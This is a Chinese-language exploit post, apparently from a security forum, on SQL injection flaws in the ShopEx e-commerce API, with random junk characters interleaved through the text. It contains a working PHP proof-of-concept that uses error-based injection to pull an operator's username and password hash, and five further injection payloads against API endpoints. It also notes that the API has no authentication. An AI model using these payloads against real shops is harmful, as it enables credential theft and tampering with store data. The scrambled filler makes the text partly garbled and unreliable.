|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php! f- j% k5 ], i. b% d/ a
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php. W( B! s$ n: n
# ?2 ~( l+ m# b3 M, ~6 z
第44行 $data['columns'] 未做过滤导致注入
* f; X' s# B' _% m) R3 U% ]+ m5 J! C: Y
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.2 O# l) `0 t2 u+ Y. Y
! B9 s* X; D0 c6 h i+ V1 Q+ H注射1:/ |' x; \5 e9 x
0 N: e( S# U" r% q' t7 A8 f
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#+ q9 q4 B8 O& {1 m. d- k
& z7 b& v2 N( H0 y, b$ m- V y注射2:6 B& V+ z5 @# V
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}3 `6 X; y( ~9 l ~9 ~
3 w* k1 E% W+ z9 x7 D" K9 b- z* J% d注射3:
9 A, u" ~3 j' w, F7 }; c http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
8 h6 W: i* e, C- a( y( f注射4:, o5 [* k: g, `. p
2 @# Q9 v9 \7 b" @2 q Y7 ]http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
' k; [ D2 l5 F; V. c
; |8 ]8 E+ d3 ?0 L" s J& p0 v9 q6 L3 M5 z' ~+ K$ j6 _: Q
注射5:
% o! B/ |* [; [2 y1 V/ b http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx5 a! k# X0 a# v( w' q2 i( X* D x
8 i( c$ v$ s( u* I; T. T. e7 P
- L+ o7 `* f7 w+ K7 K* X
$ p7 I- ?- t6 x# U; n' t3 i; ] @" m4 [8 n. r
! z3 z1 L# H' [
# ^" L. N% ]! x3 A4 q: Q" S! d |
|